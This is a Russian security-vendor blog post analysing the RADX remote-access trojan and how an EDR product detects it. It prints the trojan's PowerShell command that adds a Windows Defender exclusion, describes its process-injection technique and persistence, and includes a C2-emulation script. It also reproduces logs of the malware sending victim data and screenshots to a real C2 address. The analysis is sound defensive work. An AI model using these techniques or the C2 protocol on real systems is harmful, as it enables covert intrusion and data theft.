Тот самый RAT-троян за 200 рублей: как защититься от RADX

ee0ba165d581610e8db7556389fae7b3.png

Всем привет! Меня зовут Валерий Слезкинцев, в Positive Technologies я руковожу направлением реагирования на конечных точках в отделе обнаружения вредоносного ПО в PT Expert Security Center (PT ESC). Наша команда занимается исследованиями MaxPatrol EDR в части выявления и реагирования на вредоносную активность на хостах. Мы пишем корреляционные правила для покрытия новых техник злоумышленников, анализируем существующие технологии и подходы к обнаружению и реагированию на угрозы. На основе этих данных пишем proof of concept модулей для последующего внедрения в продукт. Кроме того, наша группа мониторит трендовые атаки и воспроизводит их на лабораторных стендах. Это нужно, чтобы мы были уверены, что MaxPatrol EDR обнаруживает актуальные угрозы и позволяет защитить от них наших клиентов. Так, недавно мы заинтересовались новой серией кибератак с использованием трояна удаленного доступа под названием RADX. Об этом вы могли читать в различных статьях, например на SecurityLab. И конечно же, нам стало интересно, как MaxPatrol EDR обнаруживает этот троян и реагирует на него. Что мы в итоге узнали, расскажем и покажем в этой статье.

Initial Access

Атака начинается с фишингового письма.

Во вложении есть архив. Мы, имитируя невнимательного и неискушенного пользователя, сохраняем его на диск и распаковываем. Внутри оказывается файл «скрин оплаты за сервер.pdf.exe». Вот как он выглядит в File Explorer при скрытых расширениях.

bf495c3d99b7c042cb2775e6f8bb3506.png

Статический анализ показал, что это 32-битное консольное приложение, написанное на C/C++.

9ec93076314ed840137d7a117c35536e.png

В коде мы заметили известные приемы обхода средств защиты:

  • API hashing для скрытия подозрительных импортов;

  • шифрование next-stage payload;

  • многократный вызов RegCloseKey (для затруднения динамического анализа).

Программа запускает легитимный процесс C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe с флагом CREATE_SUSPENDED» и внедряет в него вредоносный код через WriteProcessMemory, SetThreadContext и ResumeThread.

Про еще один примечательный RAT, который пока что атакует только китайскоговорящих пользователей, но может проявиться в любом уголке планеты, можно почитать в другой статье. Наши вирусные аналитики описали, как действуют его загрузчики, шеллкоды и основной модуль.

Next Stage

Следующая стадия выполняется в контексте легитимного AppLaunch.exe.

Это приложение .NET, которое устанавливает соединение с C2-сервером и ожидает от него дальнейших команд. Кроме того, оно умеет похищать пользовательские данные, выполнять команды в cmd.exe, открывать ссылки в браузере, загружать и запускать файлы в зараженной системе, получать информацию о компьютере жертвы и скрытно делать скриншоты. Закрепление в системе происходит с помощью Task Scheduler.

Для того чтобы более детально продемонстрировать возможности трояна RADX, мой коллега, ведущий эксперт отдела обнаружения вредоносного ПО Павел Максютин, проэмулировал процесс отправки команд с сервера злоумышленников. Для этого он использовал утилиту FakeNet-NG. В обработчике запросов от RADX мы поддержали следующие команды:

  • cmd — выполнение команды в cmd.exe (wmic process call create calc.exe);

  • stream_start, stream_stop — отправка скриншотов;

  • upload_file — загрузка файла на хост и его запуск (батник с запуском калькулятора);

  • open_link — открытие ссылки в браузере;

  • backup_info — сбор файлов с зараженной машины и их отправка на сервер.

Для того чтобы на тестовой машине работал EDR-агент, добавили его в ProcessBlackList в конфиге FakeNet-NG.

Код обработчика запросов RADX под катом.

import socket
import json
import base64

user_uuid = "7dbc8678-05bc-48da-8959-92300520e879"
default_user_response = {
    "user": {
        "uuid": user_uuid,
        "city": "",
        "country": "",
        "ip": "",
        "postal": "",
        "processor": "",
        "ram": 0,
        "registered_at": "",
        "video_card": "",
        "windows_version": ""

    },
    "data": "",
    "filename": "",
    "message": ""
}

STATE = 0

def send_response(req, message="", data="", filename=""):
    response = default_user_response
    response["message"] = message
    response["data"] = data
    response["filename"] = filename
    response = json.dumps(response).encode()
    req.send_response(200)
    req.send_header('Content-Length', len(response))
    req.send_header('content-type', 'application/json; charset=utf-8')
    req.end_headers()
    req.wfile.write(response)
    print(b'sending response: ', response)

def HandleRequest(req, method, post_data=None):
    global STATE
    print('C2 call:', method, req.path)

    if req.path == '/add_user':
        send_response(req)
        STATE = 0
    elif req.path == f'/check/{user_uuid}':
        if STATE == 0:
            send_response(req, "cmd", "wmic process call create calc.exe")
            STATE = 1
        elif STATE == 1:
            send_response(req, "stream_start")
            STATE = 2
        elif STATE == 2:
            send_response(req, "stream_stop")
            STATE = 3
        elif STATE == 3:
            raw = base64.b64encode(b'calc.exe').decode()
            send_response(req, "upload_file", str(raw), "mycalc.bat")
            STATE = 4
        elif STATE == 4:
            send_response(req, "open_link", "http://google.com")
            STATE = 5
        elif STATE == 5:
            send_response(req, "backup_info")
            STATE = 6
    else:
        send_response(req)

Запускаем FakeNet-NG, запускаем EDR-агент, запускаем RADX.

Сразу видим событие, предупреждающее о запуске файла с двойным расширением.

18853f4d380dca50e0194fc14d5fb853.png

Далее происходит любопытная вещь. Процесс пытается копировать свой image в %LOCALAPPDATA%\Packages\Microsoft.Windows.Accounts.ControlRCP_ruzxpnew4af\. В случае первого запуска такой директории еще нет, и возникает исключение DirectoryNotFoundException. В обработчике этого исключения путь к несуществующему файлу в %LOCALAPPDATA%\Packages\Microsoft.Windows.Accounts.ControlRCP_ruzxpnew4af добавляется в исключения Defender, также создается задача в Task Scheduler на запуск этого файла. Причем в случае инжекта в LOCALAPPDATA%\Packages\Microsoft.Windows.Accounts.ControlRCP_ruzxpnew4af будет скопирован легитимный AppLaunch.exe. Закрепление в системе у RADX явно не продумано.

Итак, задача в Task Scheduler.

f6e320b4cb48121440d6d2413fdfa6c2.png82d2872ec6d968802946ce1add98ee72.png

В MaxPatrol EDR видим соответствующее событие.

03dfabe8a428a0e3a15a888262fe33e3.png

А вот Powershell-команда для добавления AppLaunch.exe в исключения Windows Defender.

powershell -Command Add-MpPreference -ExclusionPath "%localappdata%\Packages\Microsoft.Windows.Accounts.ControlRCP_ruzxpnew4af\AppLaunch.exe"

3b23cf6e9fdb11dd70e3fb219461f0b2.png

Также получаем событие об обнаружении вредоносной активности.

67265d0c7e56490faa95e38e069db022.png

Тем временем устанавливается соединение с C2.

c89732f9c7b50c7f66c572a2ee26cb63.png

После этого RADX пытается получить IP-адрес жертвы через ipinfo.io/json.

02/16/24 05:43:43 PM [    HTTPListener80]   GET /json HTTP/1.1
02/16/24 05:43:43 PM [    HTTPListener80]   Host: ipinfo.io
02/16/24 05:43:43 PM [    HTTPListener80]   Connection: Keep-Alive
02/16/24 05:43:43 PM [    HTTPListener80]   

Передает на сервер информацию о жертве, получая в ответ свой id.

2/16/24 05:43:45 PM [  HTTPListener1337]   POST /add_user HTTP/1.1
02/16/24 05:43:45 PM [  HTTPListener1337]   Content-Type: application/json; charset=utf-8
02/16/24 05:43:45 PM [  HTTPListener1337]   Host: 193.106.95.60:1337
02/16/24 05:43:45 PM [  HTTPListener1337]   Content-Length: 227
02/16/24 05:43:45 PM [  HTTPListener1337]   Expect: 100-continue
02/16/24 05:43:45 PM [  HTTPListener1337]   Connection: Keep-Alive
02/16/24 05:43:45 PM [  HTTPListener1337]   
02/16/24 05:43:45 PM [  HTTPListener1337]   
02/16/24 05:43:45 PM [  HTTPListener1337] b'  {"ip":"45.88.97.66","country":"DE","postal":"60311","city":"Frankfurt am Main","windows_version":"Microsoft Windows NT 6.3.9600.0","ram":33222656,"video_card":"VMware SVGA 3D","processor":"12th Gen Intel(R) Core(TM) i7-12700H"}'

Далее RADX отправляет check/, что означает, что все готово для получения дальнейших команд.

02/16/24 05:43:47 PM [  HTTPListener1337]   POST /check/7dbc8678-05bc-48da-8959-92300520e879 HTTP/1.1
02/16/24 05:43:47 PM [  HTTPListener1337]   Host: 193.106.95.60:1337
02/16/24 05:43:47 PM [  HTTPListener1337]   Content-Length: 0
02/16/24 05:43:47 PM [  HTTPListener1337]   Connection: Keep-Alive
02/16/24 05:43:47 PM [  HTTPListener1337]   
02/16/24 05:43:47 PM [  HTTPListener1337]   
02/16/24 05:43:47 PM [  HTTPListener1337] b'  '

Наш сервер начинает отдавать команды и принимать ответы.

02/16/24 05:43:50 PM [  HTTPListener1337]   POST /7dbc8678-05bc-48da-8959-92300520e879/cmd HTTP/1.1
02/16/24 05:43:50 PM [  HTTPListener1337]   Content-Type: application/json; charset=utf-8
02/16/24 05:43:50 PM [  HTTPListener1337]   Host: 193.106.95.60:1337
02/16/24 05:43:50 PM [  HTTPListener1337]   Content-Length: 470
02/16/24 05:43:50 PM [  HTTPListener1337]   Expect: 100-continue
02/16/24 05:43:50 PM [  HTTPListener1337]   Connection: Keep-Alive
02/16/24 05:43:50 PM [  HTTPListener1337]   
02/16/24 05:43:50 PM [  HTTPListener1337]   
02/16/24 05:43:50 PM [  HTTPListener1337] b'  {"cmd":"TWljcm9zb2Z0IFdpbmRvd3MgW1ZlcnNpb24gMTAuMC4xOTA0NS4zOTMwXQ0KKGMpIE1pY3Jvc29mdCBDb3Jwb3JhdGlvbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC4NCg0KYzpcVXNlcnNcdnNcdGVzdFxyYWR4PndtaWMgcHJvY2VzcyBjYWxsIGNyZWF0ZSBjYWxjLmV4ZQ0KRXhlY3V0aW5nIChXaW4zMl9Qcm9jZXNzKS0+Q3JlYXRlKCkNDQpNZXRob2QgZXhlY3V0aW9uIHN1Y2Nlc3NmdWwuDQ0KT3V0IFBhcmFtZXRlcnM6DQppbnN0YW5jZSBvZiBfX1BBUkFNRVRFUlMNCnsNCglQcm9jZXNzSWQgPSA5Njg0Ow0KCVJldHVyblZhbHVlID0gMDsNCn07DQoNCmM6XFVzZXJzXHZzXHRlc3RccmFkeD5leGl0DQoKDQo="}'

Снимаем Base64.

Microsoft Windows [Version 10.0.19045.3930]
(c) Microsoft Corporation. All rights reserved.

c:\Users\vs\test\radx>wmic process call create calc.exe
Executing (Win32_Process)->Create() 
Method execution successful. 
Out Parameters:
instance of __PARAMETERS
{
	ProcessId = 9684;
	ReturnValue = 0;
};

c:\Users\vs\test\radx>exit

В MaxPatrol EDR видим следующее событие.

e61a4801f9c08a988ed6f5102209bcac.png

Далее RADX отправляет сообщение о начале передачи скриншотов.

02/16/24 05:43:55 PM [  HTTPListener1337]   GET /answer_stream_start/7dbc8678-05bc-48da-8959-92300520e879 HTTP/1.1
02/16/24 05:43:55 PM [  HTTPListener1337]   Host: 193.106.95.60:1337
02/16/24 05:43:55 PM [  HTTPListener1337]   Connection: Keep-Alive
02/16/24 05:43:55 PM [  HTTPListener1337]   
02/16/24 05:43:55 PM [  HTTPListener1337]

И в следующих нескольких запросах отправляет пачку скриншотов.

02/16/24 05:43:57 PM [  HTTPListener1337]   POST /upload_screenshot/7dbc8678-05bc-48da-8959-92300520e879 HTTP/1.1
02/16/24 05:43:57 PM [  HTTPListener1337]   Content-Type: application/json; charset=utf-8
02/16/24 05:43:57 PM [  HTTPListener1337]   Host: 193.106.95.60:1337
02/16/24 05:43:57 PM [  HTTPListener1337]   Content-Length: 290181
02/16/24 05:43:57 PM [  HTTPListener1337]   Expect: 100-continue
02/16/24 05:43:57 PM [  HTTPListener1337]   Connection: Keep-Alive
02/16/24 05:43:57 PM [  HTTPListener1337]   
02/16/24 05:43:57 PM [  HTTPListener1337]   
02/16/24 05:43:57 PM [  HTTPListener1337] b'  {"screenshot":"/9j/4AAQSkZJ … }

После получения команды на прекращение передачи скриншотов отправляет ответ.

02/16/24 05:44:00 PM [  HTTPListener1337]   GET /answer_stream_stop/7dbc8678-05bc-48da-8959-92300520e879 HTTP/1.1
02/16/24 05:44:00 PM [  HTTPListener1337]   Host: 193.106.95.60:1337
02/16/24 05:44:00 PM [  HTTPListener1337]   Connection: Keep-Alive
02/16/24 05:44:00 PM [  HTTPListener1337]   
02/16/24 05:44:00 PM [  HTTPListener1337]

Далее следует ответ на команду upload_file.

02/16/24 07:22:29 PM [  HTTPListener1337] Storing HTTP POST headers and data to http_20240216_192229.txt.
02/16/24 07:22:31 PM [  HTTPListener1337]   POST /7dbc8678-05bc-48da-8959-92300520e879/cmd HTTP/1.1
02/16/24 07:22:31 PM [  HTTPListener1337]   Content-Type: application/json; charset=utf-8
02/16/24 07:22:31 PM [  HTTPListener1337]   Host: 193.106.95.60:1337
02/16/24 07:22:31 PM [  HTTPListener1337]   Content-Length: 130
02/16/24 07:22:31 PM [  HTTPListener1337]   Expect: 100-continue
02/16/24 07:22:31 PM [  HTTPListener1337]   Connection: Keep-Alive
02/16/24 07:22:31 PM [  HTTPListener1337]   
02/16/24 07:22:31 PM [  HTTPListener1337]   
02/16/24 07:22:31 PM [  HTTPListener1337] b'  {"cmd":"0KTQsNC50LsgYzpcVXNlcnNcdnNcdGVzdFxyYWR4XG15Y2FsYy5iYXQg0YPRgdC/0LXRiNC90L4g0L7RgtC60YDRi9GCINC90LAg0LrQu9C40LXQvdGC0LUu"}'

Снимаем Base64.

Файл c:\Users\vs\test\radx\mycalc.bat успешно открыт на клиенте.

В MaxPatrol EDR видим следующее срабатывание.

8117b44a1ba6344dc1e5796c59ad2e52.png

Далее видим сообщение об успешно открытой ссылке.

02/16/24 07:22:36 PM [  HTTPListener1337]   POST /7dbc8678-05bc-48da-8959-92300520e879/cmd HTTP/1.1
02/16/24 07:22:36 PM [  HTTPListener1337]   Content-Type: application/json; charset=utf-8
02/16/24 07:22:36 PM [  HTTPListener1337]   Host: 193.106.95.60:1337
02/16/24 07:22:36 PM [  HTTPListener1337]   Content-Length: 94
02/16/24 07:22:36 PM [  HTTPListener1337]   Expect: 100-continue
02/16/24 07:22:36 PM [  HTTPListener1337]   Connection: Keep-Alive
02/16/24 07:22:36 PM [  HTTPListener1337]   
02/16/24 07:22:36 PM [  HTTPListener1337]   
02/16/24 07:22:36 PM [  HTTPListener1337] b'  {"cmd":"0KHRgdGL0LvQutCwINGD0YHQv9C10YjQvdC+INC+0YLQutGA0YvRgtCwOiBodHRwOi8vZ29vZ2xlLmNvbQ=="}'

Снимаем Base64.

Ссылка успешно открыта: http://google.com

В MaxPatrol EDR видим следующую цепочку запусков.

68d2e1b7e486609f80ed7851ca9fd14d.png

После этого происходит отправка gzip-архива в ответ на команду backup_info.

02/16/24 07:22:47 PM [  HTTPListener1337]   POST /end-point-c-sharp/7dbc8678-05bc-48da-8959-92300520e879 HTTP/1.1
02/16/24 07:22:47 PM [  HTTPListener1337]   Content-Encoding: gzip
02/16/24 07:22:47 PM [  HTTPListener1337]   Host: 193.106.95.60:1337
02/16/24 07:22:47 PM [  HTTPListener1337]   Content-Length: 68700
02/16/24 07:22:47 PM [  HTTPListener1337]   Expect: 100-continue
02/16/24 07:22:47 PM [  HTTPListener1337]   Connection: Keep-Alive
02/16/24 07:22:47 PM [  HTTPListener1337]   
02/16/24 07:22:47 PM [  HTTPListener1337]   
02/16/24 07:22:47 PM [  HTTPListener1337] b'  \x1f\x8b\x08\x00 …

В этом архиве лежит json следующего содержания.

{
  "additionalInfo": {
    "ip": "45.88.97.66",
    "country": "DE",
    "postal": "60311",
    "city": "Frankfurt am Main"
  },
  "DesktopFiles": [
    {
      "FilePath": "C:\\Users\\vs\\Desktop\\available_packages.txt",
      "FileExtension": ".txt",
      "FileContentBase64": "",
      "FileName": "available_packages.txt"
    },
    {
      "FilePath": "C:\\Users\\vs\\Desktop\\failed_packages.txt",
      "FileExtension": ".txt",
      "FileContentBase64": "",
      "FileName": "failed_packages.txt"
    }
  ],
  "Discord": [],
  "Wallets": [],
  "Extension": [],
  "Telegram": [],
  "dataBrowser": {
    "Microsoft Edge": {
      "localstate": "",
      "profiles": [
        {
          "ProfileName": "DEFAULT",
          "Cookies": "",
          "Logins": ""
        }
      ]
    },
    "Chrome": {
      "localstate": "",
      "profiles": [
        {
          "ProfileName": "Default",
          "Cookies": "",
          "Logins": ""
        }
      ]
    }
  }
}

Мы попросили коллег из команды обнаружения вредоносного ПО в сетевом трафике проверить PCAP, собранный с помощью FakeNet-NG, нашими внутренними инструментами для анализа сетевого трафика и получили детект. Это означает, что система поведенческого анализа сетевого трафика Positive Technologies — PT Network Attack Discovery — также обнаружит сетевой трафик RADX.

Рекомендации по настройке реагирования

Для эффективного реагирования пользователю необходимо добавить в политику MaxPatrol EDR следующие модули:

  • завершение процессов;

  • блокировка по IP-адресу;

  • отправка файлов в PT Sandbox.

На событие Malware_Trojan_Win32_Generic_a рекомендуется настроить действие «Завершить процесс», так как это событие с высокой долей вероятности является вредоносным.

f0301779b673824259561ba87e10648d.png

Событие Double_File_Extension_Masquerading также является подозрительным. Имеет смысл отправлять такие файлы на проверку в песочницу, например в PT Sandbox.

bfc3828df50100f255ef97f98f4bf369.png

Вот результат поведенческого анализа PT Sandbox для файла «скрин оплаты за сервер.pdf.exe».

9c3d6d03ef4abc6419e6cb81bfe2de7c.png

Троян
Обнаруженное опасное ПО
Троян (Trojan.Win32.Inject.a)
Троян (Trojan.Win32.Generic.a)
Троян (Trojan.Win32.Generic.f)
Подозрительное поведение
10/10 Create.Process.Inject.ResumeThread
10/10 Write.Process.Inject.SetThreadContext (MITRE ATT&CK ID: T1055)
10/10 Create.Process.WinDef.AddExclusion (MITRE ATT&CK ID: T1562)
10/10 Create.Process.PowerShell.LongExecution (MITRE ATT&CK ID: T1059)
5/10 Create.Process.DotNet.RestrictionsBypass
5/10 Create.Process.PowerShell.CommandExecution
2/10 Read.Window.Handle.Enumeration (MITRE ATT&CK ID: T1010)

Также в качестве меры реагирования рекомендуется в модуль блокировки по IP-адресу добавить адреса C2.

19376c9884219319054deec0224d6477.png

Что будет дальше и как с этим жить

Как обычно, это самые важные и риторические вопросы для человека, но мы-то привыкли все проверять на практике и действовать проактивно. Для обеспечения безопасности клиентов важно не только обнаруживать вредоносную активность, но и уметь ее предотвращать. Сейчас мы работаем над модулями, которые позволят предотвратить выполнение вредоносного процесса и не дать злоумышленнику провести атаку в принципе. Предотвращение может быть выполнено как на этапе запуска процесса «скрин оплаты за сервер.pdf.exe» путем проверки его хеш-суммы по базе IoC, так и на этапе инжекта в легитимный AppLaunch.exe. А на случай использования ранее неизвестного образца ВПО, например эксплуатирующего уязвимость нулевого дня для выполнения вредоносного кода, мы готовим ML-решение, позволяющее выявлять аномальное поведение. Следите за обновлениями MaxPatrol EDR, будем рады делиться с вами результатами его развития.

© Habrahabr.ru